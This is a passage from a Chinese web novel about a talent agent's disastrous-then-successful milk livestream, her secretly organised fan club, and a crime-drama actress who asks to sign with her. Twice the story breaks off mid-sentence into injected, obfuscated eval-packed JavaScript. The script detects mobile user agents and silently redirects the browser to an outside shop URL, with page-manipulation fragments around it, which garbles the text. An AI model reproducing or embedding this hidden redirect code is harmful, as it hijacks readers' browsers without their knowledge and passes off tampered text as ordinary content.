奚亭云这才点点头,起身离开:“你也是,早点休息,晚安。” 碍事的人终于走了,高姐转头看见宫欢还神飘飘的,恨铁不成钢:“你有没有点出息。” 一个男人就给她晃得心神不定,圈里那么多男人女人她没看够? 宫欢回过神来觉得无辜:“我怎么了嘛?你又凶我?” 高姐冷眼瞧她:“你看他都看出神了。” 宫欢大为委屈:“我那是在想事业!我在想怎么给他包装人设造型好出彩,【书店侧影】这个小爆点绝对不能放过,后面肯定要再推一把助力,营销的时候......” 叽里咕噜说了一大长串,高姐勉强信了,她将筛选出来的部分节目邀约给宫欢过目。 “除了一些老牌的综艺节目,其他的都难免会对你进行恶意剪辑,你看看要选哪个墙撞。” 宫欢扫了几眼,上的节目越多可能反而不利,看了半天也没个决定。 高姐找出几个直播间的邀请,说:“考虑考虑直播间?他们的优势是现播现放,没有可以操作的地方,是知名金主飞飞牛奶牌子发来的邀请,说很看好你的流量,想合作双赢。” 宫欢挑剔地说:“现在去直播间当汤姆猫站桩纯是找骂,选个综艺我都一再慎重,万一风向特别差,影响后面推出男团就不好了——” 高姐推了推眼镜,“钱给的多。” “能多到哪儿去。” “八位数。” - 隔天晚20:00。 “让我们欢迎最近最受争议的经纪人——宫欢女士!!” 主播鼓掌高声欢呼,场控们也跟着一起捧场。 宫欢一身黑白拼接设计款西服外套,腰间带了一圈金属圆扣形腰带,下装是纯白色的长裤,红棕长发盘在脑后显得干练利落。 她从直播背景处走出,摆着手打招呼配合主播一起坐在了直播设备前。 “哈喽,大家晚上好,我是宫欢。” 直播设备比较简单,一部手机被高高架起来,镜头前摆着张桌子。 周围用纸板简易搭建出了符合主题的场景,设备旁边放着平板实时播放直播间的内容,宫欢按照台本一字一句地念出品牌广告词: “很高兴来到飞飞牛奶直播间,喝来自天然牧场的自然牛奶,每一天都轻松自然~” 说完,她矜持地对镜头微笑,客套有礼。 一时间,直播间的人数量激增,从上万人到十几万,短短几分钟数字不停向上跳跃。 宫欢来之前在微博发了直播消息,她并不指望多少人会看消息过来。毕竟关注她的基本上都是乱七八糟成分含量不明的各路粉丝。 但没想到,涌入直播间的人数涨得飞快,当然,评论内容也很乱。 【谁,宫欢?品牌是不是想把自家产业搞死,找这位主】 【我天,鬼畜视频看多了乍一看宫欢本人,还挺好看?】 【抵制宫欢!!娱乐圈混子!!】 【她好像还挺礼貌的】 【演戏谁不会啊,镜头前礼貌镜头后耍大牌黑脸】 宫欢眼睛瞥向直播平板里的弹幕内容,微笑不语。 主播穿着牛奶品牌方特制的卫衣,胸口有可爱的奶牛挂件,宫欢开场后她自然而然地接上话: “欢迎宫欢女士来到我们的直播间,我们可是期待好久了,大家得知您生日宴上的事情后都觉得很心疼,为此,直播间特意准备了这个——” 随着音乐声响起,一辆小推车被人推出,上面摆放着三层蛋糕,周围的人配合的唱着生日快乐歌,将宫欢推到镜头前。 直播间的评论一条条刷过。 【又过生日了】 【又过生日了】 【又过生日了】 【我现在一看到生日就想起宫欢】 这是之前没有说过的直播节目内容。 说实话,宫欢现在看到蛋糕都要应激了。 她深深闭眼,想挤出几滴眼泪却挤不出来,只好捂着脸感动: “啊啊天呐,你们也太有心了,我真没想到飞飞牛奶会这么体贴!” 主播贴心过后,立即接上一大长串台词:“三层蛋糕是我们飞飞牛奶特意采用纯天然动物奶油制作,奶油细腻顺口,入口即化,天然的动物奶油能保证健康不受影响,比植物奶油更加健康无负担!那么,请宫欢女士尝尝蛋糕口味吧~” 演个过场,怎么快怎么来,直播间是不会让宫欢太占风头的,于是蛋糕很快被切下来一块摆在直播的镜头前。 宫欢坐在后面拿着塑料叉子叉起蛋糕小口吃了几块,立刻惊喜的睁大眼睛:“这个口味太好吃了,奶香奶香的,像是小时候的味道。” 奶油不奶香还能是什么香。 此时,直播间人数突破30万,大多数都在看热闹,有些闹事的粉丝被拉黑踢出去,避免影响直播。 旁边有场控举起白板牌子换下刚才的提示词:【推新品!】 主播很快切换了台词:“最近飞飞牛奶考虑到现在大家都在追求健康低脂的食物和牛奶,还有很多健身减肥人士都想要一款能有助于减肥的牛奶,我们特此推出了史无前例的新品牛奶——” “香菜羽衣甘蓝牛奶!!” 什么东西? 宫欢吃蛋糕的动作当即顿住。 听到那几个字拼凑在一起,人都傻了,她来的时候只说了推新品牛奶,当时还觉得牛奶这种饮品不会难卖到哪里去吧。 结果这个新品,是真的让她呆在原地。 宫欢还维持着笑,鼓掌,人已经死了有一会儿了。 销量不达标的话,品牌方会扣钱。 但是这新品,宫欢觉得…要不还是扣钱吧。 直播间的背景换成了摞成山的整箱整箱的羽衣甘蓝牛奶,场控将一大箱牛奶摆在直播桌上,主播滔滔不绝的讲着: “这款牛奶满足所有减肥减脂的人士,营养成分是所有牛奶中最高的一款......” 主播没放过宫欢:“现在,让宫欢女士尝尝这款牛奶的味道,跟大家分享一下吧~” 宫欢维持的笑意一下僵在脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126308|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 主播拿着牛奶强行塞进宫欢手中。 吸管插进牛奶盒里,白色的塑料吸管中透出淡淡的霉绿色,绿色液体里混合各种蔬果,最后散发出烂芹菜的气味。 宫欢求助的眼神看向主播,主播似乎已经看到了宫欢的命,微笑着不语。 应该不会太难喝到哪里去,毕竟是要卖的东西。 宫欢做足了心理准备,视死如归地举起牛奶,小心翼翼地吸了一口,舌头还没反应过来,她觉得也还好,于是又吸了一大口。 那股烂芹菜味在舌面迅速蔓延开来,顺着口腔涌上鼻腔,酸涩苦甜杂七杂八的味道直冲天灵盖! 宫欢一个没忍住,肩膀一耸就干呕了下:“呕——” 瞬间,直播间内外全静了两秒。 紧接着评论刷新的速度快到极致—— 【她吐了!!】 【啥牛奶啊给人干吐了!】 【飞飞牛奶以前就挺腥的。】 【看得出来这牛奶有多难喝了,宫欢都要吐了,忍得眼睛都憋红了!】 “不,不是,”宫欢想解释,咬牙切齿地说,“挺,好喝的——呕!!” 她半趴在一边,呕声不断,时不时还想强撑着精神坐好,结果没几秒又去抱着垃圾桶吐。 从喉管通到胃部再窜回天灵盖,芹菜香菜等等蔬果过度发酵后的气味搅得胃部翻涌不断。 忍不住,真的忍不住,那股味已经把宫欢整个人都洗礼了。 主播见形式不对,连忙紧急控场:“啊哈哈哈哈,看来宫欢女士平时不爱吃香菜呢,所以反应这么大,像爱吃香菜的宝宝会很喜欢的,比如主播就很喜欢这个口味。” 为了证明自己,主播将一整瓶牛奶全部喝下,微笑看着镜头,只是面部肌肉微微的抽动几下。 场面有些失控,宫欢想试着挽回一下。 但她坐好后整张脸蜡绿,也不知道是不是牛奶的影响,整个人绿油油的感觉,眼里似乎都冒着绿色的螺纹圈。 直播间旁边的工作人员面色都有些凝重。 “怎么办?这下直接毁了新品的口碑。” “我也没办法啊!又不是我请的她!” “快想想怎么挽回一下。” 因为刚才的一吐,牛奶的销量想都不用想肯定会大受影响。 有人已经开始嘀咕不该找宫欢来的,虽然流量大,可都是负面流量,谁都吃不下去的。 但没想到。 网民的猎奇心态有多夸张,评论出现几条好奇的说法,渐渐地,评论的风向慢慢转变: 【有那么难喝吗?好奇】 【这么难喝肯定能抑制食欲吧】 【晚上喝一瓶整晚都没胃口了,比咖啡好使】 【同,好奇这到底是什么味儿的,下单了。】 【下单了,没别的,就想知道多难喝】 【宫欢同款,试试】 【你们真是!我也来试试】 宫欢看见直播间那一条条评论时还觉得是不是高姐买了水军,但紧接着直播间内挂上的牛奶链接成交量在不断上升,越来越多。 这都行? 网民们都这么猎奇吗? 一旁陪同的高姐打开微博热搜,“宫欢吐了”这词条冲上热搜前十,涌入直播间内的人越来越多,数量一度超过百万,下单成交量的数目也十分客观。 高姐默默冲宫欢比了个大拇指。 不愧是宫欢啊,想出这么个馊主意拉来不少关注度。 宫欢不由得迷惑。 纵然是她操控舆论水军这么久,也没想到还能这样。虚虚擦了把汗。 ——反向带货,最为致命。 好在直播顺利进行。 主播详细耐心地介绍牛奶的营养成分,宫欢时不时打配合捧场。 一时间飞飞牛奶直播间一跃登上当前时段最热直播榜,更多的网民涌入过来。直播间的弹幕评论也五花八门。 其中包括前艺人韩雨寒的粉丝。有些粉丝的ID昵称都没换,顶着“寒寒是无辜的”的名字带节奏。 带节奏的方式很奇特,大概是知道恶意刷评论会被踢出去,粉丝采用了一种玄学战术。 生日宴事件后宫欢就没怎么关注过这个人了,只偶尔刷到微博说他被带去看守所关了几天,粉丝们竭力否认。 评论弹幕内容不知不觉就被带歪了,有些粉丝在弹幕刷屏问着些奇奇怪怪的问题。 【宫欢代言的东西你们也敢喝吗?】 【她倒楣到生日都被搅黄,妥妥霉运体质!】 【退单,买了的快退!倒楣退散!】 【买了再退单的可以驱散霉运!】 【已退,求上岸!】 【已退,求高考包过!】 【已退,求不挂科!】 弹幕偶尔刷出三四条玄学评论,不多,但是信则有不信则无,而且宫欢的体质也确实沾点倒楣。 毕竟谁的生日宴能闹到上亿播放量,路人皆知的地步。 要是一些粉丝为自家爱豆说话不一定有人放在心上,可一旦你说倒楣破财之类的,真就有人信。 直播后台数据出现明显上增的退单量,红色的数字从两位数不断上升到三位数。 场控两眼瞪直,急切地朝直播和宫欢打手语比划:快救场!!说点话挽回一下!! 主播顿时语炮连珠试图拉回场子:“宝宝们不要迷信啊,牛奶就只是强身健体的饮品,满足我们人日常所需的能量,不信谣不传谣啊,传谣超过两百转发量是会判刑的!” 然鹅人数实在太多,有玩梗的,有跟着凑热闹的,还有恶意搅局的,不分情况都玩起梗来了。 主播的劝阻丝毫无用。 宫欢暗暗磨牙,手不自觉捏紧了牛奶盒,眼神偷偷往旁边瞄,想让高姐找水军来控评。 就在宫欢准备接着撩头发的动作给高姐使眼色时,主播眼睛瞪大,看着直播界面念出模板话术:“感谢“欢欢打爆全场”送来的嘉年华——!” 宫欢撩头发的手当即僵住。 谁?? 好耳熟的ID? 18. 真香定律 直到主播又接连念了几次:“感谢“欢欢打爆全场”送来的宇宙之心!!” “感谢“欢欢打爆全场”送来的......” “感谢“欢欢打爆全场”送来的......”×5 直播镜头外,高姐正拿着手机计算机计算数量。 宫欢已经被一连串的礼物砸晕了,她最先是想问:不是,你们官方直播间不关赠送礼物的吗? 其次就是:这位粉丝也送的太多了吧,很亏啊,她拿不到一分的! “好好好,这位......宝宝,”宫欢死活叫不出来那串昵称,做出个暂停的手势,“先停一下刷礼物啊,麻烦场控关一下送礼物的功能。” “我们今天主要是推出飞飞牛奶的新品给大家看看,礼物什么的都不要送哦,粉丝宝宝们听话哈。” 在送礼物时,直播间的评论已经换了一番。 从玄学问题换到了其他的梗。 【哇喔总算让我碰上一次大场面!】 【大场面+1】 【品牌直播间都有人送礼物??怎么想的】 【欢欢是指宫欢吗??】 【宫欢都有粉丝了!?】 紧接着直播评论里出现了“欢欢打爆全场”的评论: 【好~听欢欢的。】 【已下单,爱喝。】 这两条评论之后跟上了数条风向偏直播间的评论,不知不觉就将跑偏的网友们拉回了香菜牛奶新品这件事上。 场控朝宫欢和主播比了个OK,用力点头:退单量稳住了!! 两人都松了口气,主播紧接着放平心态继续介绍着自家品牌旗下的各个牛奶种类。 在直播间,宫欢也不好直接去岔开话题说太多,她只看了看直播数据上显示的榜一。 ——欢欢打爆全场。 ……好让人羞耻且无法直视的昵称。 而后面一直持续到凌晨的直播间内,再也没有出现这位粉丝的评论了,仿佛已经没再关注直播。 - 夜深。 结束直播的宫欢坐上车,整个人疲乏地窝在后排座位。 回想起直播时的种种状况,差点翻车的影响,宫欢一只手搭在额头上,问高姐:“是你找人来控评的吗?” 高姐正在手机上编辑直播的总结内容,听到这话疑惑地抬头: “没有,不是你在微博发了消息说要直播,粉丝才来的吗?我没有太关注过你的粉丝群体,毕竟之前你都不上心。” 宫欢没形象地瘫着: “之前我也发过一些活动内容啊,没多少人关注,怎么今天就来了挺多的?除了刷礼物的粉丝,我看还有一些人也像是粉丝。” 高姐想了想,拿出手机点开微博,找到曾经加入的——宫欢粉丝后援会微博群。 成员目前有个四五百人,排在第一位的群主仍是“欢欢打爆全场”。 高姐将手机递给宫欢:“你看看,那些刷评论的人的ID和这上面的有没有一些重复。” 宫欢眼睛一瞥,人一下坐直了:“这么多人!??全是我粉丝?假粉吧?” 忽然才想起来另一个问题,“你什么时候混进去的?” 高姐靠在副驾驶上回忆着:“……这就有段时间了,好像一两年吧,我也是误打误撞发现后援会的,当时随便点点就进去了,现在好像进去还要审核了,挺严格的。” 宫欢大致翻了翻,一些粉丝在她微博出现频率不高,基本都是很低调的评论或是转发内容。 “我以为我只有一个粉丝。” 就是这两天存在感非常强的那位……不想念那串昵称。 她将手机还给高姐,现在都还没缓过来神。 宫欢有五六百个粉丝,明明给艺人们操作时,五六百连零头都够不着,粉丝量是以百万千万来计量的。 宫欢不知想到什么:“如果这里面有我粉丝的话,前段时间生日宴事件她们会不会参与了,但是我们并没发现,四五百个人很难掀起风浪。” “等等我找找聊天记录。”高姐在微博群里往前翻找着。 在3月18日那天,群主“欢欢打爆全场”发来生日宴直播间: 【欢欢过生日,请各位务必到场刷屏庆祝,挤掉黑粉的评论,送礼物量力而为。】 评论下方一溜的回复:【1】【1】【1】 3.18日凌晨到3.19日,消息最多。 2025/03/1800:32 欢欢打爆全场:【@全体各位,欢欢生日宴被韩雨寒破坏,这种人太过分了!简直该死!】 【啊啊啊啊阿就是啊怎么可以那么对她!!渣男辣鸡废物!/发怒】 【该死该死&&%%傻X混##¥#¥5!!我欢妹说的都是实话那些人就是不信!渣男就是癞蛤蟆!/冒火】 【呜呜呜怎么办,热搜上了好多,我骂不过/哭】 2025/03/1800:40 欢欢打爆全场:【热搜评论里面,各家粉丝路人下场泼黑水,欢欢那边没有回复,她一定很难过不想看到这些消息。】 欢欢打爆全场:【先去控评,从第一个热搜开始,把恶评举报了,然后点赞自己人的评论,其他的等明天看看欢欢怎么说,我们随机应变。】 【1】【1】【111111!!】 2025/03/1803:49 骂死那群□□:【完了!我刚才看到有人已经把欢欢生日宴的直播视频剪辑成鬼畜视频了!评论都是在嘲讽的,这群贱人要是轮到自己身上估计早就哭死了!/生气。】 欢欢打爆全场:【@全体举报视频,投诉要求下架,绝对不能让视频扩大范围。】 【1】【1】【111111!!】 2025/03/1804:55 我跟你们拼了:【不行啊呜呜太多了,根本举报不完,我们人不够,有的视频在某音上面已经超过几十万播放量了,控评也被压下去了!】 欢欢打爆全场:【别急,我买水军了,评论风向勉强好点,大家不一定非要让他们停止评论,只要让大多数人不要黑欢欢就好,多评论点搞笑的梗,不要闹得太难看。】 越往下看,宫欢越震惊,这些聊天内容一直延续好几天没下去。 后来群主发现宫欢这方在推波助澜,才在群里宣布鬼畜视频可以暂时不用管了,但还是要注意评论的风向。 一路看到几个小时前飞飞牛奶直播间的内容。 欢欢打爆全场:【@全体欢欢出来营业了!!是飞飞牛奶直播间,快来增加人气,下单买牛奶,最好买新品香菜羽衣甘蓝牛奶。】 欢欢打爆全场:【购买截图.jpg,下单500箱。】 骂死那群□□:【啊啊老大你买那么多喝得完吗?我只能买三四箱,喝不完啊/哭】 欢欢打爆全场:【可以送人,捐给山区,做公益都可以,不用勉强。】 2025/4/520:33 欢欢打爆全场:【@全体姓韩的粉丝又来找事了,故意用霉运这些来带节奏。】 骂死那群□□:【什么玩意儿!!搞封建迷信啊!?干他丫的】 欢欢打爆全场:【我刷礼物吸引注意力,你们控评。】 2025/4/520:40 我跟你们拼了:【老大你刷的钱都给直播间了,欢妹拿不到的】 欢欢打爆全场:【没事,挣来就是给她花的,控评跟好队形。】 骂死那群□□:【冲啊!!】 我跟你们拼了:【冲啊!!】 ...... 看到后面,宫欢傻眼,愣愣看着高姐:“真是我粉丝啊?” 高姐收回手机,让司机开车:“你都见过大场面了,之前韩雨寒还有粉丝给他生日应援花了几百万,对比起来,这些数据边角都算不上。” 宫欢又躺回去,缓了一会儿:“那不是没想到吗,我都不敢想,他们要是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126309|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉丝得跟多少家对骂。和大半个圈子为敌诶,怪难的,要不给她们发点红包犒劳犒劳?” “嘶,不行,发红包好像是鼓励?” “我觉得你什么都不做最好,维持现在的平衡。好了,回去早点休息,我先走了。” 高姐半路下了车,让司机将宫欢载回了家。 - 深夜。 宫欢到家后游魂似的往里走,仿佛那猎奇的香菜羽衣甘蓝牛奶要走了她半条命。 进了正厅大门,刚巧碰见从健身房出来的奚亭云。 他头发完全浸湿,像是刚洗过头和脸,脸上水渍没擦,湿淋淋的往下滴着水,连眼睫都沾着极为细小的水珠。 水珠顺着鼻梁滑落,啪嗒啪嗒地砸在身上。 他穿无袖的黑色背心,分不清是汗水还是清水的水珠落进棉质布料里,瞬间就湿了一片,胸膛微微起伏,像是还没平复运动带来的心率加速。 看见宫欢回来,极快地眨了几下眼。 正常来说,这是一副很诱人的画面。 但宫欢抬起手看表,凌晨2:00,超出了规定的作息。 “你在干什么?” “刚健完身,洗过澡。” 宫欢一本正经地说:“作息时间表这个点是不允许熬夜的,对皮肤不好,你现在应该在敷面膜睡觉。” “你的脸、身体、头发、皮肤,全都是包含到你个人财产里的,非常密切地影响我的收入,现在,上楼敷面膜,给我睡觉,OK?” 这招好像没用。 奚亭云垂下眼睫,闷闷地嗯了声,仿佛受了什么委屈,静静站在原地。 宫欢先行抬脚上楼,奚亭云随后跟上。 两人一前一后,没有交谈。 走到二楼将要分散之际,奚亭云忽然说:“那天你问我有什么想说的,其实我想问,如果我拖了后腿,你会解约吗?” 突如其来的问题。 宫欢回想了片刻,才记起来是特训期间她和奚亭云闲聊时说起的话题。 大概是夜晚让人平静,她态度没有白天的大大咧咧风风火火,却也带着宫欢式的霸气。 她说:“你在想什么?” “还没个一二三呢你就想解约,合约可是20年的,想都别想。不给我把钱赚回本一个都别想走。” 说着,宫欢突然来了玩心,她侧过脸恶劣地笑,想吓他。 “你签的差不多是卖身契了,你今年27岁对吧?二十年后47岁,等同于小半辈子都在我这,怎么,是不是后悔了?” 宫欢刚想继续说后悔也没用了,想火就是这样,要承担风险。 她转身,却对上忽然逼近的距离,陌生的青松气息带着森林深处的静谧感,一瞬间强势地涌来。 奚亭云俯身,将距离把控的恰到好处,不会近到让她排斥,又不会是远到普通朋友的距离。 放大的脸出现在眼前,只能看到鼻梁以上的部分,宫欢整个人怔住,一时语塞。 他偏头,薄唇在耳侧呼气:“欢欢,晚安。” 播音专业的经验使他将音量和气息调整在最佳状态,连语调都拿捏得恰到好处。 纵使奚亭云还想再多停留会,但为了欲擒故纵,他还是直接转身回了卧室,留宫欢一个人在楼梯口怔愣。 好半天,宫欢才从那沉哑的声音里回神。 欢欢是她的小名,很少有人会这么叫。 高姐平时也就叫她小欢,安声会叫欢欢姐表示尊重。 可单单叫欢欢就有点奇怪了。 奇怪在,她好像和他没有熟到这个地步吧。 这么说,又显得宫欢很没良心,前脚人家刚给她送了个蛋糕,后脚她就说不熟。 她倒吸口凉气,走上三楼回到卧室,嘴里不停碎碎念:“男人的把戏男人的把戏.......他身上是什么味,我买的沐浴露吗??换了!马上全都换掉!” 难闻!非常难闻! 总之,是他的问题。 19. 刑侦队长 清早。 一辆出租车刹停在别墅园区外,司机师傅朝后排座上的客人解释:“姑娘,里面我就进不去了,这片都是富人区,出租车不给进,只能给你停这了。” 后排座上坐着一位短发女人,她没多说什么,拿出手机准备付款,问:“多少钱。” 司机慢悠悠地拿起玻璃杯拧开盖口喝了口茶叶水,不慌不忙地说:“八十。” 女人扫码的动作顿了顿。 望着后视镜里司机老油条的态度,她收起付款码,调出手机拨号界面,气势并不比他弱的向后靠,一副不打算下车的样子: “A市的出租车起步价是10元,超过3公里后每公里收费3元,我上车的地点到这不超过15公里,你收个五六十我都不会说什么,敢要80,狮子大开口啊。” 司机心虚地咳嗽一声,还打算犟嘴:“哎呀小姑娘,你这地方不好找,刚才绕了多少冤枉路你也知道。” “那是你的问题,我有让你绕路吗?” 关清英将手机界面里的拨号电话给他看了一眼,“收费不合理,超出正常价格范围,我看我要向相关部门反应一下了。” 司机没看清她那号码是多少,却也心虚地急了。 本以为来富人区的是个有钱人,不会算那么细,没想到遇上的是个硬茬。 他只得好声好气地解释:“哎哎别呀,别打别打,50就50,我出来开车一天也挣不了多少钱,您这一反应我饭碗都要没了!” 关清英收起10086的拨号界面,扫码付了50过去便下了车。 司机开走前隐约还能听见他小声嘀咕:“真是的,一个年轻人这么较真。” 出租车在身后远去,关清英抬头看向园区的驻守岗亭,走过去按照流程要求做了登记才进入了别墅园区范围。 别墅园区内部很大,她拿出一张银色名片,上面的地址写着A区5号。 距离关清英最近的别墅上写着C区,看来刚才是进错了门,以至于离A区还差一段距离。 步行导航显示纯靠步行到A区需要走30分钟,关清英左右环顾一圈,正巧看见园区保安开着游览车从她旁边经过。 关清英整体的气质干练,体态挺拔,乍一看上去像是来巡视的领导。 她招手示意停车时,保安愣了会儿,一时半会不知道要不要停车,游览车的车速很慢,思考间便开到了关清英旁边。 她自然而然地上了车坐好,和保安说:“A区5号,谢谢。 不会真是哪个领导吧。保安想。 一般园区的游览车只是给保安用来巡逻,并不用于载客这一行为,保安纳闷地看着关清英,想让她下去又怕她是不认识的领导,万一惹到人家就不妙了。 反观关清英却很自然地倚靠着座位仰头闭目养神。 保安只得老老实实把人拉去A区,来到5号别墅的大门前,游览车一停,关清英便迅速地睁开眼,跳下游览车说:“谢了。” 别墅主楼正有人在取下之前生日宴的装饰物。 关清英整了整衣服,用手机屏幕照了照自己的脸,然后走到别墅前摁响门铃。 铃—— - 手机铃声响个不停。 宫欢把头从被子里薅出来,摸到手机瞄见来电备注是高姐,接通后大叫:“现在才12点!” 高姐迅速掐断宫欢的哀嚎:“有人来找你,说是想谈谈签约的事情。” 签约? 宫欢瞬间清醒,她从床上跳下来冲进洗手间开始洗漱,手机开了免提:“谈签约的事情?我最近没有去找艺人聊这些啊。” 高姐言简意赅:“是个女演员,之前出演过一些电视剧。她叫关清英,你收拾好了下来聊聊,她自带了简历。” 10分钟的时间。 宫欢快速洗漱化妆,从衣柜里找出件真丝长袖衬衫,又搭了纯白西裤,随手抽出条腰带卡在腰间,戴配饰都匆匆忙忙,抓住两颗方钻耳环边走边戴。 走到一半她忽然想起来没擦口红。 于是用牙齿上下用力咬了咬,硬是把嘴唇咬红了许多,路过走廊的装饰镜子时仔细照了照,刚刚好。 从三楼下来时,宫欢为了保持体面没有探出头去看来的究竟是哪位演员。 到了一楼大厅,她转身过去,就见萧子重瞪着大眼看对面沙发上坐着的短发女人。 这人一头短发干脆利落地剪到了下颌的位置,容易散落的两侧头发被精准地卡在了耳后,一身偏中长的深咖色风衣,袖口挽在手肘处,手腕上则带着低调不起眼的普通手表。 她正端起水杯喝水,侧脸的线条透过玻璃杯显出些许柔和。 宫欢走近时视线停留在关清英身上,短促地略过一眼。 高姐见她过来,准备起身给两人做介绍。 正喝水的关清英见状放下水杯,也跟着起身看向宫欢。 这一转头,即便是宫欢不怎么追剧的人,看见这张脸突然出现在眼前也惊了惊,“你不是那个......” “各大卫视下午时段常年播出的【重刑之下】1-6季,她在其中饰演刑侦副队长。” 没等宫欢想起来,倚在沙发上的萧子重接过话:“我说刚才总觉得眼熟,总算想起来了。” 宫欢好奇道:“你们认识?” 关清英客气有礼地对两人笑笑,不避讳地说:“之前一起拍过戏。” “哦?什么剧啊,拍的对手戏?”宫欢来了兴趣,“没听他说过他出演过电视剧。” 萧子重脸色大变,想出声阻止已经来不及了,“等等!” 关清英没有任何美化地直言:“现场抓捕杀人魔的戏份,我饰演刑侦副队长,他饰演被杀人魔当场杀死的人质。” 宫欢:“噗——” 高姐耸耸肩:“看来不用我介绍了。” 关清英朝萧子重笑了下,但那人已经倒在沙发上装死。 她目光转向宫欢,声音清亮:“他说的没错,你好宫欢女士,我是关清英,您也不用自我介绍了,我来就是冲您来的。” 这时宫欢才完完整整地看清面前人的脸。 她眉毛细弯,眼型偏正杏眼,在整张脸上占据很大的亮点,如果远远的看她,最先被吸引的就是这双眼。 她眼眸极亮,清澈有神。 被她看着的时候总有种被无形屏障与周围隔开的感觉,鼻梁不甚凸出,身高约有173,整体中和起来配上眼神与气势,意外的给人一种英爽飒气的感觉。 不知道是常年的刑侦剧拍摄培养出的气质,还是她本身就带有这种气场,所以才会被选中去拍刑侦剧。 如果高姐没有提前说这位关清英队长是来谈签约的事情,宫欢会以为她是警方卧底来查她的。 说到这,宫欢还抽神想了想最近该税的有没有税。 确定该税的都税了,宫欢和关清英客气几句,两人落座。 宫欢将简历拿在手中翻看,这份简历做的很漂亮。 关清英是知名戏剧学院毕业,她参演过的所有影视剧都一一标明了在其中饰演的角色,每个角色下面还有一张板板正正的剧照,显然是拍摄剧情时自己特意找人拍的。 目前年龄30,在22岁毕业后除了出演一些栏目剧外,拍得最出名的就是【重刑之下】这部刑侦剧了。 简历有三四页,宫欢翻看时关清英很安静,没有借机搭话。 高姐刺了句萧子重:“你还呆在这干嘛,不去训练?” “我休息会儿。”萧子重心虚地擦擦鼻子,眼睛时不时往宫欢这瞥。 真是稀了奇了,竟然还有人主动上门找宫欢签约。 她现在的名声好不到哪儿去,一般人都是避之不及,居然还有找上门来的。 更甚至,这位找上门来的是关清英。 别人不知道,他可是了解得很清楚。 【重刑之下】是国内改编不少真实案件的刑侦剧,在各大卫视定档播出多年,受众广泛,不少业内人士都将这部剧列为‘刑侦剧天花板’。 不少人声称【重刑之下】后再无出色优秀的刑侦剧了,可想其含金量。 关清英在其中饰演的刑侦副队长角色并不是主角,但却因为这个角色获得了不少路人缘,几乎是家喻户晓,人人皆知的一个角色。 上至80岁老人,下至3岁小孩,谁敢说在吃饭的时候没打开过电视看上几眼【重刑之下】。 这种老戏骨完全是超实力派的专业演员,她应该走在正剧的康庄大道上,多混个几年,说不定就能拿到专业奖项。 之前萧子重在各个剧组跑龙套时,打听过该剧组的八卦。 【重刑之下】的导演要求极为严苛,所有演员必须学会一切刑警都会的专业技能,拆卸枪支,负重训练,犯罪心理学等等,甚至还要求演员必须去警校体验生活。 萧子重跟组时,导演经常要求演员每天都要训练学习。 除开剧本以外,每日的拍摄任务完成后,主演们都要留下,参与到跟刑侦人员勘察真实的刑侦案件里面,所有的时间都扑在这部剧上,不允许分心,以保证演员无时无刻都沉浸在角色里。 那段时间萧子重隐约吃到八卦,说有些演员被导演逼出心理问题而罢演。 可见像这样的大型正剧真不是那么好演的。 所以,萧子重就更想不通了,一个好青衣苗子,怎么就主动上门找宫欢了?? 在他看来,宫欢是自带流量话题的危险人物,而关清英是很正派的实力演员,就像他之前,对宫欢避之不及,不喜她这样的流量人物,关清英也该是一样的。 “他们”是正派演员,应该走最宽广的大道。 “他们”和宫欢不是一类人。 在萧子重回忆起往昔时,沙发另一边的两人倒没那么多弯弯绕绕。 宫欢显然也想到了同样的问题,她放下简历,耐心地说: “你既然认识我,应该知道我的一些事情。” “我看过你演的角色,是很经典的人物,之前听说还被电影学院拿去当教材,这么优秀的履历,你的最优选该是找个老牌经纪人去帮你接正剧,好好沉淀几年多少都能拿到个最佳演员奖项。” “我这里......”宫欢委婉地笑了两声,“你懂得,我培养的大多是流量路线,虽然也 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思索再三,宫欢还是不打算直接和关清英签约,她让高姐把萧子重这个看客拎走。 “演员的签约合约是10年,就算你确定要签,我也不会给你签。” 关清英不解,以为自己这次求职失败:“为什么,是我的履历......” 宫欢打断她:“都不是,是我觉得你还没有想清楚你想要什么。” “一般人都会有所求,要钱,要权利要名誉等等等等,可我没从你身上看出来你的所求,那么我也不能保证我能给你想要的。” 关清英微微愣住,一时不知如何应答。 沉默良久,她微微垂下头,语气有点闷:“那抱歉,打扰了。” 正当关清英准备做好离开的准备,宫欢一把摁住她的简历,在她看她时笑嘻嘻地说: “不签长期经纪合约,但我们可以签其他的合同。我只做你的短期经纪人,合约期间内所有的收益按照你六我四来分配,不受时间限制,我们随时可以炒掉对方,怎么样?” 送上门来的人,宫欢才不会让她跑掉。 高姐不知何时回来的,顺带拿来了一份收益分配协议和短期经纪人代理协议。 宫欢直接签下了名字,将协议推到关清英面前。 “因为你的迷茫会导致长期不稳定,这对我不利,但是短期协议我收的钱就多了,看你选咯。” 说完,宫欢还自信地补一句:“我觉得你会签的。” 来之前,关清英搜过很多关于宫欢的消息,她选她,就是想搏一搏。 关清英来这之后,情绪比平时起伏更大,她拿起签字笔,没有犹豫多久,就在文件末尾签上了自己的名字。 一上午又签下了个老牌艺人,宫欢嘴都要合不拢了,她简单跟关清英介绍: “哦对啦,我现在带得还有三个男团成员,你知道的,他们男孩子太作,非要看在眼皮子底下才不会惹是生非,所以他们都在我这住着,你看看你要不要也住过来。” 其他人都在这住吗。 